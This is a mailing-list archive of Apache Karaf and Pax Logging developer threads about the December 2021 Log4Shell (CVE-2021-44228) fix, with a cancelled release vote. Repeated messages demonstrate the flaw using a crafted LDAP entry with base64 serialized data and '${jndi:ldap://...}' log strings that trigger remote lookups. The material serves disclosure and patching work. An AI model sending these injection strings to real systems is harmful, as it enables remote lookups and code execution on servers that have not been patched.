Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Thanks for sharing the information Bernd!
regards
Grzegorz Grzybek
sob., 11 gru 2021 o 03:25 Bernd Eckenfels
napisał(a):
> Hello,
>
> Found no problem was using the wrong property prefix. It works now to turn
> it off.
>
> I also noticed that JNDI lookups will fail on our karaf distribution
> because the JNDIManager has some DelegateContextLookup (OSGiDelegating
> something) which fails the lookup. It’s too late to find out why but that
> means at least the POC vectors don’t harm me.
>
> --
> https://bernd.eckenfels.net
>
> From: Bernd Eckenfels
> Sent: Friday, December 10, 2021 11:26:19 PM
> To: dev@karaf.apache.org
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> I am currently working on a description for a work around (specifying the
> system property) but I can’t get it to work.
>
> It still expands ${java:version}. I checked that it shows with
> “system:property log4j.formatMsgNoLookup” true and there seems to be no
> %m{lookup} setting.
>
> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> version newer than 2.10).
>
> Any idea?
>
> Is it possible that the shaded pax-logging-log4j does not honor the system
> property of log4j?
>
>
> --
> https://bernd.eckenfels.net
>
> From: Grzegorz Grzybek
> Sent: Friday, December 10, 2021 1:43:00 PM
> To: dev@karaf.apache.org
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> in
> details.
>
> I was a bit surprised too - I knew about e.g., `${java:version}` if you
> used it in pattern layout configuration - I didn't expect Log4j2 to
> interpolate the messages passed to log() methods as well!
>
> But you can try (in Karaf):
>
> karaf@root()> log:log 'xxx ${java:version} xxx'
>
> And you'll see (in the logs):
>
> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
> Java version 1.8.0_312 xxx
>
> so a message has been interpolated.
>
> What's worse, I could add an entry to my OpenLDAP with:
>
> javaClassName: java.lang.String
> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>
> And then:
>
> karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest
> }'
>
> gave me this in logs:
>
> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> '}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> http://localhost/attack
>
> "http://localhost/attack"; is the deserialized value from
> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>
> While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> property that defaults to "false" since 2009), you still have a remote
> request being performed when logging messages with ${jndi:ldap://
> example.com
> }.
>
> regards
> Grzegorz Grzybek
>
> pt., 10 gru 2021 o 13:28 Bernd Eckenfels
> napisał(a):
>
> > Hello Grzegorz,
> >
> > Thanks a lot for the super quick reaction.
> >
> > I was rather confused to see that log messages can trigger a JNDI lookup
> > anyway. Do you think there should be hardened something here?
> >
> > Do you know if that is triggered by malicious log config or by malicious
> > log messages and does it only affect systems where the JMSAppender is
> > actually used?
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> >
> > Von: Grzegorz Grzybek
> > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > An: ops4j-announcem...@googlegroups.com <
> > ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> > d...@felix.apache.org
> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> >
> > Hello
> >
> > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> fix.
> >
> > *Log4j2 has been updated to version 2.15.0.*
> >
> > The changelog is available at GitHub:
> > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >
> > kind regards
> > Grzegorz Grzybek
> >
>
[CANCEL][VOTE] Apache Karaf runtime 4.3.4 release
Hi guys; I cancel this vote to: 1. Upgrade to pax-logging 2.0.11 which includes important log4j2 CVE fix 2. Include a quick fix in the features service and autoRefresh flag (populated in the cfg file) I will submit a new take to vote later today. Sorry about that. Regards JB > Le 7 déc. 2021 à 05:55, Jean-Baptiste Onofré a écrit : > > Hi everyone, > > I submit Apache Karaf runtime 4.3.4 to your vote. > > This release includes dependency upgrades, fixes, and improvements, > especially: > > - align dependencies versions between Karaf and Pax * > - fix missing system export packages > - fix on Karaf features json support > - fix features autoRefresh configuration handling > - fix on sshd session handling > - update to sshd 2.8.0 > - lot of pax * updates > - and much more ! > > Please take a look on Release Notes for details ! > > Release Notes: > https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311140&version=12350547 > > Staging Maven Repository: > https://repository.apache.org/content/repositories/orgapachekaraf-1162/ > > Staging Dist Repository: > https://dist.apache.org/repos/dist/dev/karaf/4.3.4/ > > Git tag: > karaf-4.3.4 > > Please vote to approve this release: > > [ ] +1 Approve the release > [ ] -1 Don't approve the release (please provide specific comments) > > This vote will be open for at least 72 hours. > > Regards > JB
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello,
Found no problem was using the wrong property prefix. It works now to turn it
off.
I also noticed that JNDI lookups will fail on our karaf distribution because
the JNDIManager has some DelegateContextLookup (OSGiDelegating something) which
fails the lookup. It’s too late to find out why but that means at least the POC
vectors don’t harm me.
--
https://bernd.eckenfels.net
From: Bernd Eckenfels
Sent: Friday, December 10, 2021 11:26:19 PM
To: dev@karaf.apache.org
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
I am currently working on a description for a work around (specifying the
system property) but I can’t get it to work.
It still expands ${java:version}. I checked that it shows with “system:property
log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.
I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version
newer than 2.10).
Any idea?
Is it possible that the shaded pax-logging-log4j does not honor the system
property of log4j?
--
https://bernd.eckenfels.net
From: Grzegorz Grzybek
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack"; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
>
> Von: Grzegorz Grzybek
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcem...@googlegroups.com <
> ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> d...@felix.apache.org
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
I am currently working on a description for a work around (specifying the
system property) but I can’t get it to work.
It still expands ${java:version}. I checked that it shows with “system:property
log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting.
I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version
newer than 2.10).
Any idea?
Is it possible that the shaded pax-logging-log4j does not honor the system
property of log4j?
--
https://bernd.eckenfels.net
From: Grzegorz Grzybek
Sent: Friday, December 10, 2021 1:43:00 PM
To: dev@karaf.apache.org
Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack"; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
>
> Von: Grzegorz Grzybek
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcem...@googlegroups.com <
> ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> d...@felix.apache.org
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello
Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in
details.
I was a bit surprised too - I knew about e.g., `${java:version}` if you
used it in pattern layout configuration - I didn't expect Log4j2 to
interpolate the messages passed to log() methods as well!
But you can try (in Karaf):
karaf@root()> log:log 'xxx ${java:version} xxx'
And you'll see (in the logs):
2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
Java version 1.8.0_312 xxx
so a message has been interpolated.
What's worse, I could add an entry to my OpenLDAP with:
javaClassName: java.lang.String
javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
And then:
karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}'
gave me this in logs:
2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
10.39.192.99/cn=boom,dc=k8s,dc=forest}'}
[org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
http://localhost/attack
"http://localhost/attack"; is the deserialized value from
"rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
property that defaults to "false" since 2009), you still have a remote
request being performed when logging messages with ${jndi:ldap://example.com
}.
regards
Grzegorz Grzybek
pt., 10 gru 2021 o 13:28 Bernd Eckenfels
napisał(a):
> Hello Grzegorz,
>
> Thanks a lot for the super quick reaction.
>
> I was rather confused to see that log messages can trigger a JNDI lookup
> anyway. Do you think there should be hardened something here?
>
> Do you know if that is triggered by malicious log config or by malicious
> log messages and does it only affect systems where the JMSAppender is
> actually used?
>
> Gruss
> Bernd
>
>
> --
> http://bernd.eckenfels.net
>
> Von: Grzegorz Grzybek
> Gesendet: Friday, December 10, 2021 12:20:02 PM
> An: ops4j-announcem...@googlegroups.com <
> ops4j-announcem...@googlegroups.com>; Karaf Dev ;
> d...@felix.apache.org
> Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix.
>
> *Log4j2 has been updated to version 2.15.0.*
>
> The changelog is available at GitHub:
> https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
>
> kind regards
> Grzegorz Grzybek
>
Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello Grzegorz, Thanks a lot for the super quick reaction. I was rather confused to see that log messages can trigger a JNDI lookup anyway. Do you think there should be hardened something here? Do you know if that is triggered by malicious log config or by malicious log messages and does it only affect systems where the JMSAppender is actually used? Gruss Bernd -- http://bernd.eckenfels.net Von: Grzegorz Grzybek Gesendet: Friday, December 10, 2021 12:20:02 PM An: ops4j-announcem...@googlegroups.com ; Karaf Dev ; d...@felix.apache.org Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released Hello Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix. *Log4j2 has been updated to version 2.15.0.* The changelog is available at GitHub: https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1 kind regards Grzegorz Grzybek
[ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
Hello Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix. *Log4j2 has been updated to version 2.15.0.* The changelog is available at GitHub: https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1 kind regards Grzegorz Grzybek
